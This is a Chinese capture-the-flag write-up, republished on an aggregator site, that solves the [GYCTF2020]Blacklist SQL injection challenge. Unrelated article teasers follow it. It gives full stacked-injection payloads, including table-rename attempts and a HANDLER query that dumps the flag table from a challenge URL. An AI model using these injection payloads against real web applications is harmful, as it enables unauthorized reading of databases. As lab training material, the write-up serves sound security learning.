练习8 Web [GYCTF2020]Blacklist

这道题其实不是堆叠注入,但是我在联合查询无效后,试了一下堆叠,最后一步发现被过滤的sql语句太多了,完全没法
查阅其他wp的过程[GYCTF2020]Blacklist 1(详细做题过程)

是用的handler语句,只能用于MySQL中,是类似于select的语句,详细内容我记录在我的wp中

先输入一些常规数字或者字母字符
返回值:

  • 数字:1
array(2) {[0]=>string(1) "1"[1]=>string(7) "hahahah"
}
  • 数字:2
 array(2) {[0]=>string(1) "2"[1]=>string(12) "miaomiaomiao"
}

其他字符均没有返回值

在这里插入图片描述
尝试常见的sql语句,发现返回如下内容,查询后发现是提示这些sql语句都被过滤掉了
在这里插入图片描述

在博客https://blog.csdn.net/weixin_45551083/article/details/105389126 中提到了“堆叠注入”

堆叠注入详解

堆叠注入是用 ; 分隔开的多行sql语句

?inject=2';show databases;#

得到以下内容
在这里插入图片描述

继续 show tables
找到一个“FlagHere”表
在这里插入图片描述
查找“FlagHere”下面的所有列元素:看到一个字符串flag 后面还有一个varchar(100)
应该是要想办法打印出来
在这里插入图片描述
到这里思路确实会卡住
再次看堆叠注入的特点,sql语句是各自执行的

查找“words”下面的所有列元素:
会发现刚好是 一个int和一个varchar(20)
对应一开始我们输入数字1或者2的“一个数字+一个字符串”的格式

再下一步的思路是既然默认查询到的是显示“word”这张表
那么,就把word表名替换到FlagHere,同时列名也同步替换
这样FlagHere里的内容不就默认打印出来了

在这里插入图片描述

依次将words表改名为noWords
FlagHere改名为words
然后将此时的words表中的列名flag改为id,与原来的words表中列名第一个为id第二个为No一一对应

?inject=2';
rename table `words` to `noWords`; 
rename table `FlagHere` to `words`alter table `words` change `flag`  `id` varchar(100);#

提交发现alter也被过滤了,服了

直接查这道题的wp,开头的链接[GYCTF2020]Blacklist 1(详细做题过程)

又是新东西

Handler语法

handler语句,一行一行的浏览一个表中的数据

handler语句并不具备select语句的所有功能。

mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

> 1HANDLER tbl_name OPEN

打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

2、HANDLER tbl_name READ FIRST

获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

> 3HANDLER tbl_name CLOSE

关闭打开的句柄。

> 4HANDLER tbl_name READ index_name = value

通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览。

直接用handler语法打印之前查到的FlagHere表,输出内容就行
http://6e7bc099-1e40-424e-9cc5-235785f06b8b.node5.buuoj.cn:81/?inject=2’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/751930.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

cmd常用指令

cmd全称Command Prompt,中文译为命令提示符。 命令提示符是在操作系统中,提示进行命令输入的一种工作提示符。 在不同的操作系统环境下,命令提示符各不相同。 在windows环境下,命令行程序为cmd.exe,是一个32位的命令…

【系统性】 循序渐进学C++

循序渐进学C 第一阶段&#xff1a;基础 一、环境配置 1.1.第一个程序&#xff08;基本格式&#xff09; ​ #include <iosteam> using namespace std;int main(){cout<<"hello world"<<endl;system("pause"); }​ 模板 #include &…

email + celery+django 异步发送邮件功能的实现

主要流程&#xff1a; django通过发件服务器到收件服务器&#xff0c;最后到收件人 邮件配置设置需要打开SMTP/IMAP并获的授权码&#xff0c;完成授权功能实现发送给收件人 邮件配置请参考另一博客https://blog.csdn.net/qq_44238024/article/details/136277821 项目结构树…

蓝桥杯刷题(十)

1.翻转 代码 输入数据&#xff0c;每组数据进行比较&#xff0c;j的范围掐头去尾&#xff0c;若a[j]b[j]&#xff0c;继续&#xff0c;若出现010,101子串则改成000,111&#xff0c;遍历完后比较a是否等于b&#xff0c;相同则输出次数&#xff0c;不同则输出-1。 for _ in ran…

JavaWeb:vue、AJax、ELement、maven、SpringBoot、、Http、Tomcat、请求响应、分层解耦

1 Vue 1.1 Vue介绍 VUE是前端框架&#xff0c;基于MVVM&#xff0c;实现数据双向绑定 框架是半基础软件&#xff0c;可重用的代码模型 1.2 Vue指令 <script src"js/vue.js"></script></head> <body><div id"id"><!--…

Kubectl常用命令

管理资源&#xff08;查看、创建、更新、删除&#xff09; 查看node资源 kubectl get nodes查看命名空间 kubectl get ns查看service资源 -n 指明所属的命名空间&#xff0c;不写默认看命名空间为default下的所有service kubectl get svc -n default查看pod资源 -n 指明所…

【计算机网络】基本概念

基本概念 IP 地址端口号协议协议分层封装分用客户端服务器请求和响应两台主机之间的网络通信流程 IP 地址 概念&#xff1a;IP 地址主要是用于唯一标识网络主机、其他网络设备&#xff08;如路由器&#xff09;的网络地址。简单来说&#xff0c;IP地址用来唯一定位主机。格式&…

网络安全之DDos攻击原理与防御

DDos简介 对于DDos(分布式拒绝服务)攻击&#xff0c;人们往往谈虎色变。它被认为是安全领域中最难解决的问题之一&#xff0c;迄今为止也没有完美的解决方案。DDos攻击是一种网络攻击方式&#xff0c;其目的是通过利用大量的互联网连接设备同时向目标网站或服务发送大量请求&a…

软件架构设计 C/S与B/S架构的区别

一、什么是C/S架构&#xff1f; C/S是Client/Server的缩写。服务器通常采用高性能的PC、工作站或小型机&#xff0c;并采用大型数据库系统&#xff0c;如Oracle或SQLServer。 C/S架构软件有一个特点&#xff0c;就是如果用户要使用的话&#xff0c;需要下载一个客户端&#x…

uni-popup(实现自定义弹窗提示、交互)

一般提示框的样式&#xff0c;一般由设计稿而定&#xff0c;如果用uniapp的showmodel&#xff0c;那个并不能满足我们需要的自定义样式&#xff0c;所以最好的方式是我们自己封装一个&#xff01;&#xff08;想什么样就什么样&#xff09;&#xff01; 一、页面效果 二、使用…

SpringMVC03 基础操作续与几个简单的交互

前文 第一篇 第二篇 基础操作 上篇博客我们知道了如何获取Session内容以及传输数组,json,对象,集合等的传送和获取 这节课我们可以从上篇的结束开始,其实Spring对Session进行了进一步的封装,我们可以使用其他的方式也可以读取和设置Session(更简洁的方式) 1.直接使用HTTPSessio…

【GPT-SOVITS-02】GPT模块解析

说明&#xff1a;该系列文章从本人知乎账号迁入&#xff0c;主要原因是知乎图片附件过于模糊。 知乎专栏地址&#xff1a; 语音生成专栏 系列文章地址&#xff1a; 【GPT-SOVITS-01】源码梳理 【GPT-SOVITS-02】GPT模块解析 【GPT-SOVITS-03】SOVITS 模块-生成模型解析 【G…

文件包含漏洞(input、filter、zip)

一、PHP://INPUT php://input可以访问请求的原始数据的只读流&#xff0c;将post请求的数据当作php代码执行。当传入的参数作为文件名打开时&#xff0c;可以将参数设为php://input,同时post想设置的文件内容&#xff0c;php执行时会将post内容当作文件内容。从而导致任意代码…

wireshark解析https数据包

Debian11环境&#xff1a; 在linux环境下抓取访问某个https的网址时抓取的数据包都是加密的&#xff0c;导致无法跟踪到数据包流&#xff0c;现在尝试将抓取的https包进行解密。 1、解密https数据包需要设置SSLKEYLOGFILE变量&#xff0c;推荐写入配置文件中。 echo "exp…

使用IDEA进行Scala编程相关安装步骤

一、相关安装包&#xff08;jdk最好用1.8版本&#xff0c;其他不做要求&#xff09; IDEA安装包 jdk-8u101-windows-x64.exe scala-2.12.19 二、安装顺序 在安装IDEA之前&#xff0c;首先要安装好java和scala环境&#xff0c;以便后续配置 三、jdk和scala安装要求 1.jdk安…

【启动npm run serve 奇怪的报错】

报错如下&#xff1a; INFO Starting development server... utils.js:587Uncaught TypeError [ERR_INVALID_ARG_VALUE]: The argument path must be a string or Uint8Array without null bytes. Received E:\\#\u0000#idea-workspace\\wonderful-search\\wonderful-search-v…

研究生总结

Note:本博客更多是关于自己的感悟&#xff0c;没有翻阅文件详细查证&#xff0c;如果存在错过&#xff0c;也请提出指正。 1. 半监督回归 相比于半监督分类&#xff0c;半监督回归相对冷门。回归和分类之间有着难以逾越的天谴&#xff0c;预测精度。分类中的类别是可数的&…

Vue2 引入使用ElementUI详解

目录 1 安装2 引入2.1 全局引入2.1.1 引入2.1.2 使用 2.2 按需引入2.2.1 引入2.2.2 使用 3 总结 1 安装 推荐使用 npm 的方式安装&#xff0c;它能更好地和 webpack打包工具配合使用。&#xff08;本项目使用安装方式&#xff09; npm i element-ui -S也可以使用其他的包管理…

ioDraw:与 GitHub、gitee、gitlab、OneDrive 无缝对接,绘图文件永不丢失!

&#x1f31f; 绘图神器 ioDraw 重磅更新&#xff0c;文件保存再无忧&#xff01;&#x1f389; 无需注册&#xff0c;即刻畅绘&#xff01;✨ ioDraw 让你告别繁琐注册&#xff0c;尽情挥洒灵感&#xff01; 新增文件在线实时保存功能&#xff0c;支持将绘图文件保存到 GitHu…

【TB作品】MSP430,单片机,Proteus仿真,单片机通信,串口通信

文章目录 题目虚拟串口仿真图程序介绍获取代码和仿真 题目 30、单片机通信 基本要求&#xff1a; 设计一串口通信程序&#xff0c;波特率 9600&#xff0c;通过 RS232 与 PC 机通信。 由 PC 机向单片机发送字符串数据&#xff0c;单片机接收到数据后发回 PC 机&#xff0c;其中…